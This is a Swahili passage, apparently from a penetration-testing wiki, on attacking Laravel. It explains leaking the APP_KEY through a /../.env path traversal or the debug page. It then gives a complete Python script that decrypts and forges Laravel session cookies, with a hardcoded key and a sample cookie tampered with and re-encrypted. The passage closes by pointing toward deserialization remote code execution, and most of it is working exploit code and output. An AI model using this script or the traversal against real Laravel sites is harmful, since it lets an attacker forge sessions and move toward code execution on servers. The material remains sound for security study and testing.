Hii kwa kawaida inahitajika kwa kutumia CVEs nyingine za Laravel RCE.
Laravel huhifadhi APP inayotumiwa kuandika vidakuzi na akreditivu nyingine ndani ya faili inayoitwa .env ambayo inaweza kufikiwa kwa kutumia njia fulani ya kupita: /../.env
Laravel pia itaonyesha habari hii ndani ya ukurasa wa debug (ambao huonekana wakati Laravel inapata kosa na umewezeshwa).
Kwa kutumia APP_KEY ya siri ya Laravel unaweza kufungua na kuandika upya vidakuzi:
Copy import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto . Cipher import AES
from phpserialize import loads , dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt ( value , iv ):
global key
AES . key_size = [ len (key) ]
crypt_object = AES . new (key = key, mode = AES.MODE_CBC, IV = iv)
return crypt_object . decrypt (value)
def mcrypt_encrypt ( value , iv ):
global key
AES . key_size = [ len (key) ]
crypt_object = AES . new (key = key, mode = AES.MODE_CBC, IV = iv)
return crypt_object . encrypt (value)
def decrypt ( bstring ):
global key
dic = json . loads (base64. b64decode (bstring). decode ())
mac = dic [ 'mac' ]
value = bytes (dic[ 'value' ], 'utf-8' )
iv = bytes (dic[ 'iv' ], 'utf-8' )
if mac == hmac . new (key, iv + value, hashlib.sha256). hexdigest ():
return mcrypt_decrypt (base64. b64decode (value), base64. b64decode (iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
def encrypt ( string ):
global key
iv = os . urandom ( 16 )
#string = dumps(string)
padding = 16 - len (string) % 16
string += bytes ( chr (padding) * padding, 'utf-8' )
value = base64 . b64encode ( mcrypt_encrypt (string, iv))
iv = base64 . b64encode (iv)
mac = hmac . new (key, iv + value, hashlib.sha256). hexdigest ()
dic = { 'iv' : iv . decode (), 'value' : value . decode (), 'mac' : mac }
return base64 . b64encode ( bytes (json. dumps (dic), 'utf-8' ))
app_key = 'HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64 . b64decode (app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt ( b '{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}' ) Laravel Deserialization RCE
